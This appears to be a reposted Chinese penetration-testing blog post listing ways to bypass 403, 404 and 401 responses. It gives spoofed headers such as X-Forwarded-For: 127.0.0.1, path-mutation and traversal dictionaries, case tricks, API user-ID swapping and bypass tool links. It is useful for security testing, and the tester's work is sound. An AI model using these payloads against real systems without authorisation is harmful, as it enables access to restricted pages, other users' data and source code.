
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我会立即删除并致歉。谢谢!
文章有疑问的,可以公众号发消息问我,或者留言。我每天都会看的。

0x00 前言
我们在做渗透测试时经常会碰到40x的资产。有一些40x的页面是可以绕过的,下面将介绍一些方法。
403
利用端口
扫描主机端口,寻找其他开放的端口然后路径扫描。
HOST碰撞
工具
覆盖请求URL
尝试使用X-Original-URL和X-Rewrite-URL标头绕过Web服务器的限制。通过支持X-Original-URL和X-Rewrite-URL标头,用户可以使用这俩请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。
X-Original-URL: /auth/loginX-Rewrite-URL: /auth/login
Referer绕过
尝试使用Referer标头绕过Web服务器的限制。介绍:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源。
Referer:https://xxx/auth/login

代理IP
一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用X-Forwarded-For、X-Forwared-Host等标头绕过Web服务器的限制。
X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Client-IP: 127.0.0.1X-Forwarded-For: 127.0.0.1X-Forwared-Host: 127.0.0.1X-Host: 127.0.0.1X-Custom-IP-Authorization: 127.0.0.1
403或302字典绕过
替换{replace}的值为需要绕过的路径
/{replace}/{replace}//{replace}////{replace}///{replace}/*/{replace}/*//{replace}/./{replace}/.//./{replace}/.//{replace}/././{replace}/././{replace}?/{replace}??/{replace}???/{replace}..;//{replace}/..;//%2f/{replace}/%2e/{replace}/{replace}%20//{replace}%09//%20{replace}%20//{replace}%20/page
继续扫
遇到403红藕,将403的路径作为前缀继续扫描路径
bypass 403的脚本
https://github.com/sting8k/BurpSuite_403Bypasserhttps://github.com/yunemse48/403bypasserhttps://github.com/devploit/dontgo403https://github.com/daffainfo/bypass-403
403bypass的wiki
https://kathan19.gitbook.io/howtohunt/status-code-bypass/403bypass
替换大小写
比如
-
https://redacted.com/admin -> 403 Forbidden
-
https://redacted.com/Admin -> 200 OK
-
https://redacted.com/aDmin -> 200 OK
403 bypass工具
https://github.com/lobuhi/byp4xxhttps://github.com/iamj0ker/bypass-403https://github.com/gotr00t0day/forbiddenpasshttps://github.com/m4dm0e/dirdar
403 API接口方法
案例
GET /api/v1/user/id 403
/api/v1/user/id.json/api/v1/user/id?/api/v1/user/id//api/v2/user/id/api/v1/user/id&accountdetail/api/v1/user/yourid&victimidX-Original-URL: /api/v1/user/id/
404
比如:
http://example[.]com/index.php -> File not foundhttp://example[.].com/assets../index.php -> source code
字典:
/index.php/assets../index.php/img../index.php/js../index.php/vendors../index.php/media../index.php
也可以将index.php替换为你需要的路径
401相关测试思路
1.文件枚举
2.通过搜索引擎来发现更多信息
3.在github上面搜索类似的域名
4.通过Wayback来搜索查找
5.改变HTTP的方法(get/post/put/delete/patch/...)
6.对cookies,参数,header,hosts,目录进行模糊测试
参考链接
https://mp.weixin.qq.com/s/hfrdpsmUhVpXV96HufaxSg
https://mp.weixin.qq.com/s/1zsvQj2rvQKlZzh7L_Thyg
https://mp.weixin.qq.com/s/s64aww-fsmZ2I7nezdbT_A
https://mp.weixin.qq.com/s/oVvMtTh2w-4HgOUJtZTqaw
https://mp.weixin.qq.com/s/OnIeM8DVkZ_F27LGadPzRg
欢迎加入知识星球,领取优惠券,仅需25~
星球超过100人后,会涨价
原文始发于微信公众号(进击的HACK):渗透测试中如何利用40x
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-



评论